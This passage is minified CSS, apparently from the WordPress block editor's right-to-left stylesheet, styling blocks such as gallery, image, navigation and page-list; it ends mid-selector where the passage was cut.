.wp-more-tag{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAADtgAAAAoBAMAAAA86gLBAAAAJFBMVEVMaXG7u7vBwcHDw8POzs68vLzGxsbMzMy+vr7AwMDQ0NDGxsYKLGzpAAAADHRSTlMA///zWf+/f///TMxNVGuqAAABwklEQVR4Ae3dMXLaQBTH4bfj8UCpx8hq0vgKvgFNemhT6Qo6gg6R+0ZahM2QLmyBJ99XWP9V5+o3jIUcLQEAAAAAAAAAAAAAAAAAAAAAAABQ8j0WL9lfTtlt18uNXAUA8O/KVtfa1tdcrOdSh9gCQAMlh1hMNbZZ1bsrsQWABsrhLRbz7z5in/32UbfUMUbkMQCAh5RfGYv82UdMdZ6HS2wjT2ILAI8r3XmM2B3WvM59vfO2xXYW2yYAENuPU8S+X/N67mKxzy225yaxBQCxLV392UdcvwV0jPVUj98ntkBWT7C7+9u2/V/vGtvXIWJ6/4rtbottWa6Ri0NUT/u72LYttrb97LHdvUXMxxrb8TO2W2TF1rYbbLG1bbGNjMi4+2Sbi1FsbbvNFlvbFtt5fDnE3d9sP1/XeIyV2Nr2U2/guZUuptNrH/dPI9eLB6SaAEBs6wPJf3/PNk9tYgsAYrv/8TFuzx/fvkFqGtrEFgDEdpcZUb7ejXy6ntrEFgDENvL6gsas4vbdyKt4DACI7TxElJv/Z7udpqFNbAFAbKduy2uU2trttM/x28UWAAAAAAAAAAAAAAAAAAAAAAAAAADgDyPwGmGTCZp7AAAAAElFTkSuQmCC);background-position:50%;background-repeat:no-repeat;background-size:1900px 20px;cursor:default;display:block;height:20px;margin:15px auto;outline:0;width:96%}.wp-block-freeform.block-library-rich-text__tinymce img::selection{background-color:initial}.wp-block-freeform.block-library-rich-text__tinymce div.mceTemp{-ms-user-select:element}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption{margin:0;max-width:100%}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption a,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption img{display:block}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption *{-webkit-user-drag:none}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption .wp-caption-dd{margin:0;padding-top:.5em}.wp-block-freeform.block-library-rich-text__tinymce .wpview{border:1px solid #0000;clear:both;margin-bottom:16px;position:relative;width:99.99%}.wp-block-freeform.block-library-rich-text__tinymce .wpview iframe{background:#0000;display:block;max-width:100%}.wp-block-freeform.block-library-rich-text__tinymce .wpview .mce-shim{bottom:0;left:0;position:absolute;right:0;top:0}.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected="2"] .mce-shim{display:none}.wp-block-freeform.block-library-rich-text__tinymce .wpview .loading-placeholder{border:1px dashed #ddd;padding:10px}.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error{border:1px solid #ddd;margin:0;padding:1em 0;word-wrap:break-word}.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error p{margin:0;text-align:center}.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .loading-placeholder,.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .wpview-error{border-color:#0000}.wp-block-freeform.block-library-rich-text__tinymce .wpview .dashicons{display:block;font-size:32px;height:32px;margin:0 auto;width:32px}.wp-block-freeform.block-library-rich-text__tinymce .wpview.wpview-type-gallery:after{clear:both;content:"";display:table}.wp-block-freeform.block-library-rich-text__tinymce .gallery img[data-mce-selected]:focus{outline:none}.wp-block-freeform.block-library-rich-text__tinymce .gallery a{cursor:default}.wp-block-freeform.block-library-rich-text__tinymce .gallery{line-height:1;margin:auto -6px;overflow-x:hidden;padding:6px 0}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-item{box-sizing:border-box;float:right;margin:0;padding:6px;text-align:center}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption,.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-icon{margin:0}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption{font-size:13px;margin:4px 0}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-1 .gallery-item{width:100%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-2 .gallery-item{width:50%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-3 .gallery-item{width:33.3333333333%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-4 .gallery-item{width:25%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-5 .gallery-item{width:20%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-6 .gallery-item{width:16.6666666667%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-7 .gallery-item{width:14.2857142857%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-8 .gallery-item{width:12.5%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-9 .gallery-item{width:11.1111111111%}.wp-block-freeform.block-library-rich-text__tinymce .gallery img{border:none;height:auto;max-width:100%;padding:0}div[data-type="core/freeform"]:before{border:1px solid #ddd;outline:1px solid #0000}@media not (prefers-reduced-motion){div[data-type="core/freeform"]:before{transition:border-color .1s linear,box-shadow .1s linear}}div[data-type="core/freeform"].is-selected:before{border-color:#1e1e1e}div[data-type="core/freeform"] .block-editor-block-contextual-toolbar+div{margin-top:0;padding-top:0}div[data-type="core/freeform"].is-selected .block-library-rich-text__tinymce:after{clear:both;content:"";display:table}.mce-toolbar-grp .mce-btn.mce-active button,.mce-toolbar-grp .mce-btn.mce-active i,.mce-toolbar-grp .mce-btn.mce-active:hover button,.mce-toolbar-grp .mce-btn.mce-active:hover i{color:#1e1e1e}.mce-toolbar-grp .mce-rtl .mce-flow-layout-item.mce-last{margin-left:0;margin-right:8px}.mce-toolbar-grp .mce-btn i{font-style:normal}.block-library-classic__toolbar{border:1px solid #ddd;border-bottom:none;border-radius:2px;display:none;margin:0 0 8px;padding:0;position:sticky;top:0;width:auto;z-index:31}div[data-type="core/freeform"].is-selected .block-library-classic__toolbar{border-color:#1e1e1e;display:block}.block-library-classic__toolbar .mce-tinymce{box-shadow:none}@media (min-width:600px){.block-library-classic__toolbar{padding:0}}.block-library-classic__toolbar:empty{background:#f5f5f5;border-bottom:1px solid #e2e4e7;display:block}.block-library-classic__toolbar:empty:before{color:#555d66;content:attr(data-placeholder);font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;line-height:37px;padding:14px}.block-library-classic__toolbar div.mce-toolbar-grp{border-bottom:1px solid #1e1e1e}.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar .mce-menubar>div,.block-library-classic__toolbar .mce-tinymce-inline,.block-library-classic__toolbar .mce-tinymce-inline>div,.block-library-classic__toolbar div.mce-toolbar-grp,.block-library-classic__toolbar div.mce-toolbar-grp>div{height:auto!important;width:100%!important}.block-library-classic__toolbar .mce-container-body.mce-abs-layout{overflow:visible}.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar div.mce-toolbar-grp{position:static}.block-library-classic__toolbar .mce-toolbar-grp>div{padding:1px 3px}.block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child){display:none}.block-library-classic__toolbar.has-advanced-toolbar .mce-toolbar-grp .mce-toolbar{display:block}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{height:50vh!important}@media (min-width:960px){.block-editor-freeform-modal .block-editor-freeform-modal__content:not(.is-full-screen){height:9999rem}.block-editor-freeform-modal .block-editor-freeform-modal__content .components-modal__header+div{height:100%}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-tinymce{height:calc(100% - 52px)}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-container-body{display:flex;flex-direction:column;height:100%;min-width:50vw}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area{display:flex;flex-direction:column;flex-grow:1}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{flex-grow:1;height:10px!important}}.block-editor-freeform-modal__actions{margin-top:16px}:root :where(figure.wp-block-gallery){display:block}:root :where(figure.wp-block-gallery)>.blocks-gallery-caption{flex:0 0 100%}:root :where(figure.wp-block-gallery)>.blocks-gallery-media-placeholder-wrapper{flex-basis:100%}:root :where(figure.wp-block-gallery) .wp-block-image .components-notice.is-error{display:block}:root :where(figure.wp-block-gallery) .wp-block-image .components-notice__content{margin:4px 0}:root :where(figure.wp-block-gallery) .wp-block-image .components-notice__dismiss{left:5px;position:absolute;top:0}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder.is-appender .components-placeholder__label{display:none}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button{margin-bottom:0}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder{margin:0}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder .components-placeholder__label{display:flex}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder figcaption{z-index:2}:root :where(figure.wp-block-gallery) .components-spinner{margin-right:-9px;margin-top:-9px;position:absolute;right:50%;top:50%}.gallery-settings-buttons .components-button:first-child{margin-left:8px}.gallery-image-sizes .components-base-control__label{margin-bottom:4px}.gallery-image-sizes .gallery-image-sizes__loading{align-items:center;color:#757575;display:flex;font-size:12px}.gallery-image-sizes .components-spinner{margin:0 4px 0 8px}.blocks-gallery-item figure:not(.is-selected):focus,.blocks-gallery-item img:focus{outline:none}.blocks-gallery-item figure.is-selected:before{bottom:0;box-shadow:0 0 0 1px #fff inset,0 0 0 3px var(--wp-admin-theme-color) inset;content:"";left:0;outline:2px solid #0000;pointer-events:none;position:absolute;right:0;top:0;z-index:1}.blocks-gallery-item figure.is-transient img{opacity:.3}.blocks-gallery-item .block-editor-media-placeholder{height:100%;margin:0}.blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label{display:flex}.wp-block-gallery ul.blocks-gallery-grid{margin:0;padding:0}@media (min-width:600px){.wp-block-update-gallery-modal{max-width:480px}}.wp-block-update-gallery-modal-buttons{display:flex;gap:12px;justify-content:flex-end}.wp-block-group .block-editor-block-list__insertion-point{left:0;right:0}[data-type="core/group"].is-selected .block-list-appender{margin-left:0;margin-right:0}[data-type="core/group"].is-selected .has-background .block-list-appender{margin-bottom:18px;margin-top:18px}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child{gap:inherit;pointer-events:none}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-default-block-appender__content,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{display:inherit;flex:1;flex-direction:inherit;width:100%}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after{border:1px dashed;content:"";display:flex;flex:1 0 40px;min-height:38px;pointer-events:none}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-button-block-appender,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{pointer-events:all}.block-library-html__edit .block-library-html__preview-overlay{height:100%;position:absolute;right:0;top:0;width:100%}.block-library-html__edit .block-editor-plain-text{background:#fff!important;border:1px solid #1e1e1e!important;border-radius:2px!important;box-shadow:none!important;box-sizing:border-box;color:#1e1e1e!important;direction:ltr;font-family:Menlo,Consolas,monaco,monospace!important;font-size:16px!important;max-height:250px;padding:12px!important}@media (min-width:600px){.block-library-html__edit .block-editor-plain-text{font-size:13px!important}}.block-library-html__edit .block-editor-plain-text:focus{border-color:var(--wp-admin-theme-color)!important;box-shadow:0 0 0 1px var(--wp-admin-theme-color)!important;outline:2px solid #0000!important}.wp-block-image.wp-block-image .block-editor-media-placeholder.is-small{min-height:60px}figure.wp-block-image:not(.wp-block){margin:0}.wp-block-image{position:relative}.wp-block-image .is-applying img,.wp-block-image.is-transient img{opacity:.3}.wp-block-image figcaption img{display:inline}.wp-block-image .components-spinner{margin:0;position:absolute;right:50%;top:50%;transform:translate(50%,-50%)}.wp-block-image__placeholder{aspect-ratio:4/3}.wp-block-image__placeholder.has-illustration:before{background:#fff;opacity:.8}.wp-block-image__placeholder .components-placeholder__illustration{opacity:.1}.wp-block-image .components-resizable-box__container{display:table}.wp-block-image .components-resizable-box__container img{display:block;height:inherit;width:inherit}.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{left:0;margin:-1px 0;position:absolute;right:0}@media (min-width:600px){.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{margin:-1px}}[data-align=full]>.wp-block-image img,[data-align=wide]>.wp-block-image img{height:auto;width:100%}.wp-block[data-align=center]>.wp-block-image,.wp-block[data-align=left]>.wp-block-image,.wp-block[data-align=right]>.wp-block-image{display:table}.wp-block[data-align=center]>.wp-block-image>figcaption,.wp-block[data-align=left]>.wp-block-image>figcaption,.wp-block[data-align=right]>.wp-block-image>figcaption{caption-side:bottom;display:table-caption}.wp-block[data-align=left]>.wp-block-image{margin:.5em 0 .5em 1em}.wp-block[data-align=right]>.wp-block-image{margin:.5em 1em .5em 0}.wp-block[data-align=center]>.wp-block-image{margin-left:auto;margin-right:auto;text-align:center}.wp-block[data-align]:has(>.wp-block-image){position:relative}.wp-block-image__crop-area{max-width:100%;overflow:hidden;position:relative;width:100%}.wp-block-image__crop-area .reactEasyCrop_Container{pointer-events:auto}.wp-block-image__crop-area .reactEasyCrop_Container .reactEasyCrop_Image{border:none;border-radius:0}.wp-block-image__crop-icon{align-items:center;display:flex;justify-content:center;min-width:48px;padding:0 8px}.wp-block-image__crop-icon svg{fill:currentColor}.wp-block-image__zoom .components-popover__content{min-width:260px;overflow:visible!important}.wp-block-image__toolbar_content_textarea__container{padding:8px}.wp-block-image__toolbar_content_textarea{width:250px}.wp-block-latest-posts>li{overflow:hidden}.wp-block-latest-posts li a>div{display:inline}:root :where(.wp-block-latest-posts){padding-right:2.5em}:root :where(.wp-block-latest-posts.is-grid),:root :where(.wp-block-latest-posts__list){padding-right:0}.wp-block-media-text__media{position:relative}.wp-block-media-text__media.is-transient img{opacity:.3}.wp-block-media-text__media .components-spinner{margin-right:-9px;margin-top:-9px;position:absolute;right:50%;top:50%}.wp-block-media-text .__resizable_base__{grid-column:1/span 2;grid-row:2}.wp-block-media-text .editor-media-container__resizer{width:100%!important}.wp-block-media-text.is-image-fill .components-placeholder.has-illustration,.wp-block-media-text.is-image-fill .editor-media-container__resizer,.wp-block-media-text.is-image-fill-element .components-placeholder.has-illustration,.wp-block-media-text.is-image-fill-element .editor-media-container__resizer{height:100%!important}.wp-block-media-text>.block-editor-block-list__layout>.block-editor-block-list__block{max-width:unset}.wp-block-media-text--placeholder-image{min-height:205px}.block-editor-block-list__block[data-type="core/more"]{margin-bottom:28px;margin-top:28px;max-width:100%;text-align:center}.wp-block-more{display:block;text-align:center;white-space:nowrap}.wp-block-more input[type=text]{background:#fff;border:none;border-radius:4px;box-shadow:none;color:#757575;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:600;height:24px;margin:0;max-width:100%;padding:6px 8px;position:relative;text-align:center;text-transform:uppercase;white-space:nowrap}.wp-block-more input[type=text]:focus{box-shadow:none}.wp-block-more:before{border-top:3px dashed #ccc;content:"";left:0;position:absolute;right:0;top:50%}.editor-styles-wrapper .wp-block-navigation ul{margin-bottom:0;margin-right:0;margin-top:0;padding-right:0}.editor-styles-wrapper .wp-block-navigation .wp-block-navigation-item.wp-block{margin:revert}.wp-block-navigation-item__label{display:inline}.wp-block-navigation-item,.wp-block-navigation__container{background-color:inherit}.wp-block-navigation:not(.is-selected):not(.has-child-selected) .has-child:hover>.wp-block-navigation__submenu-container{opacity:0;visibility:hidden}.has-child.has-child-selected>.wp-block-navigation__submenu-container,.has-child.is-selected>.wp-block-navigation__submenu-container{display:flex;opacity:1;visibility:visible}.is-dragging-components-draggable .has-child.is-dragging-within>.wp-block-navigation__submenu-container{opacity:1;visibility:visible}.is-editing>.wp-block-navigation__container{display:flex;flex-direction:column;opacity:1;visibility:visible}.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container{opacity:1;visibility:hidden}.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container .block-editor-block-draggable-chip-wrapper{visibility:visible}.is-editing>.wp-block-navigation__submenu-container>.block-list-appender{display:block;position:static;width:100%}.is-editing>.wp-block-navigation__submenu-container>.block-list-appender .block-editor-button-block-appender{background:#1e1e1e;color:#fff;margin-left:0;margin-right:auto;padding:0;width:24px}.wp-block-navigation__submenu-container .block-list-appender{display:none}.block-library-colors-selector{width:auto}.block-library-colors-selector .block-library-colors-selector__toggle{display:block;margin:0 auto;padding:3px;width:auto}.block-library-colors-selector .block-library-colors-selector__icon-container{align-items:center;border-radius:4px;display:flex;height:30px;margin:0 auto;padding:3px;position:relative}.block-library-colors-selector .block-library-colors-selector__state-selection{border-radius:11px;box-shadow:inset 0 0 0 1px #0003;height:22px;line-height:20px;margin-left:auto;margin-right:auto;min-height:22px;min-width:22px;padding:2px;width:22px}.block-library-colors-selector .block-library-colors-selector__state-selection>svg{min-width:auto!important}.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg,.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg path{color:inherit}.block-library-colors-selector__popover .color-palette-controller-container{padding:16px}.block-library-colors-selector__popover .components-base-control__label{height:20px;line-height:20px}.block-library-colors-selector__popover .component-color-indicator{float:left;margin-top:2px}.block-library-colors-selector__popover .components-panel__body-title{display:none}.wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender{background-color:#1e1e1e;color:#fff;height:24px}.wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender.block-editor-button-block-appender.block-editor-button-block-appender{padding:0}.wp-block-navigation .wp-block .wp-block .block-editor-button-block-appender{background-color:initial;color:#1e1e1e}@keyframes loadingpulse{0%{opacity:1}50%{opacity:.5}to{opacity:1}}.components-placeholder.wp-block-navigation-placeholder{background:none;box-shadow:none;color:inherit;min-height:0;outline:none;padding:0}.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset{font-size:inherit}.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset .components-button{margin-bottom:0}.wp-block-navigation.is-selected .components-placeholder.wp-block-navigation-placeholder{color:#1e1e1e}.wp-block-navigation-placeholder__preview{align-items:center;background:#0000;color:currentColor;display:flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;min-width:96px}.wp-block-navigation.is-selected .wp-block-navigation-placeholder__preview{display:none}.wp-block-navigation-placeholder__preview:before{border:1px dashed;border-radius:inherit;bottom:0;content:"";display:block;left:0;pointer-events:none;position:absolute;right:0;top:0}.wp-block-navigation-placeholder__preview>svg{fill:currentColor}.wp-block-navigation.is-vertical .is-medium .components-placeholder__fieldset,.wp-block-navigation.is-vertical .is-small .components-placeholder__fieldset{min-height:90px}.wp-block-navigation.is-vertical .is-large .components-placeholder__fieldset{min-height:132px}.wp-block-navigation-placeholder__controls,.wp-block-navigation-placeholder__preview{align-items:flex-start;flex-direction:row;padding:6px 8px}.wp-block-navigation-placeholder__controls{background-color:#fff;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;display:none;float:right;position:relative;width:100%;z-index:1}.wp-block-navigation.is-selected .wp-block-navigation-placeholder__controls{display:flex}.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr{display:none}.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions{align-items:flex-start;flex-direction:column}.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr{display:none}.wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__icon{height:36px;margin-left:12px}.wp-block-navigation-placeholder__actions__indicator{align-items:center;display:flex;height:36px;justify-content:flex-start;line-height:0;margin-right:4px;padding:0 0 0 6px}.wp-block-navigation-placeholder__actions__indicator svg{margin-left:4px;fill:currentColor}.wp-block-navigation .components-placeholder.is-medium .components-placeholder__fieldset{flex-direction:row!important}.wp-block-navigation-placeholder__actions{align-items:center;display:flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;gap:6px;height:100%}.wp-block-navigation-placeholder__actions .components-dropdown,.wp-block-navigation-placeholder__actions>.components-button{margin-left:0}.wp-block-navigation-placeholder__actions.wp-block-navigation-placeholder__actions hr{background-color:#1e1e1e;border:0;height:100%;margin:auto 0;max-height:16px;min-height:1px;min-width:1px}@media (min-width:600px){.wp-block-navigation__responsive-container:not(.is-menu-open) .components-button.wp-block-navigation__responsive-container-close{display:none}}.wp-block-navigation__responsive-container.is-menu-open{position:fixed;top:155px}@media (min-width:782px){.wp-block-navigation__responsive-container.is-menu-open{right:36px;top:93px}}@media (min-width:960px){.wp-block-navigation__responsive-container.is-menu-open{right:160px}}.is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{top:141px}.is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{right:0;top:155px}@media (min-width:782px){.is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{top:61px}}.is-fullscreen-mode .is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-fullscreen-mode .is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{top:109px}body.editor-styles-wrapper .wp-block-navigation__responsive-container.is-menu-open{bottom:0;left:0;right:0;top:0}.components-button.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close,.components-button.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{color:inherit;height:auto;padding:0}.components-heading.wp-block-navigation-off-canvas-editor__title{margin:0}.wp-block-navigation-off-canvas-editor__header{margin-bottom:8px}.is-menu-open .wp-block-navigation__responsive-container-content * .block-list-appender{margin-top:16px}@keyframes fadein{0%{opacity:0}to{opacity:1}}.wp-block-navigation__loading-indicator-container{padding:8px 12px}.wp-block-navigation .wp-block-navigation__uncontrolled-inner-blocks-loading-indicator{margin-top:0}@keyframes fadeouthalf{0%{opacity:1}to{opacity:.5}}.wp-block-navigation-delete-menu-button{justify-content:center;margin-bottom:16px;width:100%}.components-button.is-link.wp-block-navigation-manage-menus-button{margin-bottom:16px}.wp-block-navigation__overlay-menu-preview{align-items:center;background-color:#f0f0f0;display:flex;height:64px!important;justify-content:space-between;margin-bottom:12px;padding:0 24px;width:100%}.wp-block-navigation__overlay-menu-preview.open{background-color:#fff;box-shadow:inset 0 0 0 1px #e0e0e0;outline:1px solid #0000}.wp-block-navigation-placeholder__actions hr+hr,.wp-block-navigation__toolbar-menu-selector.components-toolbar-group:empty{display:none}.wp-block-navigation__navigation-selector{margin-bottom:16px;width:100%}.wp-block-navigation__navigation-selector-button{border:1px solid;justify-content:space-between;width:100%}.wp-block-navigation__navigation-selector-button__icon{flex:0 0 auto}.wp-block-navigation__navigation-selector-button__label{flex:0 1 auto;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.wp-block-navigation__navigation-selector-button--createnew{border:1px solid;margin-bottom:16px;width:100%}.wp-block-navigation__responsive-container-open.components-button{opacity:1}.wp-block-navigation__menu-inspector-controls{overflow-x:auto;scrollbar-color:#0000 #0000;scrollbar-gutter:stable both-edges;scrollbar-width:thin;will-change:transform}.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar{height:12px;width:12px}.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar-track{background-color:initial}.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:initial;border:3px solid #0000;border-radius:8px}.wp-block-navigation__menu-inspector-controls:focus-within::-webkit-scrollbar-thumb,.wp-block-navigation__menu-inspector-controls:focus::-webkit-scrollbar-thumb,.wp-block-navigation__menu-inspector-controls:hover::-webkit-scrollbar-thumb{background-color:#949494}.wp-block-navigation__menu-inspector-controls:focus,.wp-block-navigation__menu-inspector-controls:focus-within,.wp-block-navigation__menu-inspector-controls:hover{scrollbar-color:#949494 #0000}@media (hover:none){.wp-block-navigation__menu-inspector-controls{scrollbar-color:#949494 #0000}}.wp-block-navigation__menu-inspector-controls__empty-message{margin-right:24px}.wp-block-navigation__overlay-menu-icon-toggle-group{margin-bottom:16px}.wp-block-navigation .block-list-appender{position:relative}.wp-block-navigation .has-child{cursor:pointer}.wp-block-navigation .has-child .wp-block-navigation__submenu-container{z-index:28}.wp-block-navigation .has-child:hover .wp-block-navigation__submenu-container{z-index:29}.wp-block-navigation .has-child.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation .has-child.is-selected>.wp-block-navigation__submenu-container{height:auto!important;min-width:200px!important;opacity:1!important;overflow:visible!important;visibility:visible!important;width:auto!important}.wp-block-navigation-item .wp-block-navigation-item__content{cursor:text}.wp-block-navigation-item.is-editing,.wp-block-navigation-item.is-selected{min-width:20px}.wp-block-navigation-item .block-list-appender{margin:16px 16px 16px auto}.wp-block-navigation-link__invalid-item{color:#000}.wp-block-navigation-link__placeholder{background-image:none!important;box-shadow:none!important;position:relative;text-decoration:none!important}.wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span{-webkit-text-decoration:wavy underline;text-decoration:wavy underline;-webkit-text-decoration-skip-ink:none;text-decoration-skip-ink:none;text-underline-offset:.25rem}.wp-block-navigation-link__placeholder.wp-block-navigation-item__content{cursor:pointer}.link-control-transform{border-top:1px solid #ccc;padding:0 16px 8px}.link-control-transform__subheading{color:#1e1e1e;font-size:11px;font-weight:500;margin-bottom:1.5em;text-transform:uppercase}.link-control-transform__items{display:flex;justify-content:space-between}.link-control-transform__item{flex-basis:33%;flex-direction:column;gap:8px;height:auto}.wp-block-navigation-submenu{display:block}.wp-block-navigation-submenu .wp-block-navigation__submenu-container{z-index:28}.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container{height:auto!important;min-width:200px!important;opacity:1!important;position:absolute;right:-1px;top:100%;visibility:visible!important;width:auto!important}@media (min-width:782px){.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{right:100%;top:-1px}.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{background:#0000;content:"";display:block;height:100%;left:100%;position:absolute;width:.5em}}.block-editor-block-list__block[data-type="core/nextpage"]{margin-bottom:28px;margin-top:28px;max-width:100%;text-align:center}.wp-block-nextpage{display:block;text-align:center;white-space:nowrap}.wp-block-nextpage>span{background:#fff;border-radius:4px;color:#757575;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:600;height:24px;padding:6px 8px;position:relative;text-transform:uppercase}.wp-block-nextpage:before{border-top:3px dashed #ccc;content:"";left:0;position:absolute;right:0;top:50%}.wp-block-navigation .wp-block-page-list,.wp-block-navigation .wp-block-page-list>div{background-color:inherit}.wp-block-navigation.items-justified-space-between .wp-block-page-list,.wp-block-navigation.items-justified-space-between .wp-block-page-list>div{display:contents;flex:1}.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list>div,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list>div{flex:inherit}.wp-block-navigation .wp-block-navigation__submenu-container>.wp-block-page-list{display:block}.wp-block-pages-list__item__link{pointer-events:none}@media (min-width:600px){.wp-block-page-list-modal{max-width:480px}}.wp-block-page-list-modal-buttons{display:flex;gap:12px;justify-content:flex-end}.wp-block-page-list .open-on-click:focus-within>.wp-block-navigation__submenu-container{height:auto;min-width:200px;opacity:1;visibility:visible;width:auto}.wp-block-page-list__loading-indicator-container{padding:8px 12px}.block-editor-block-list__block[data-type="core/paragraph"].has-drop-cap:focus{min-height:auto!important}.block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder]{opacity:1}.block-editor-block-list__block[data-empty=true]+.block-editor-block-list__block[data-empty=true]:not([data-custom-placeholder=true]) [data-rich-text-placeholder]{opacity:0}.block-editor-block-list__block[data-type="core/paragraph"].has-text-align-left[style*="writing-mode: vertical-lr"],.block-editor-block-list__block[data-type="core/paragraph"].has-text-align-right[style*="writing-mode: vertical-rl"]{rotate:180deg}.is-zoomed-out .block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder]{opacity:0}.wp-block-post-author__inspector-settings 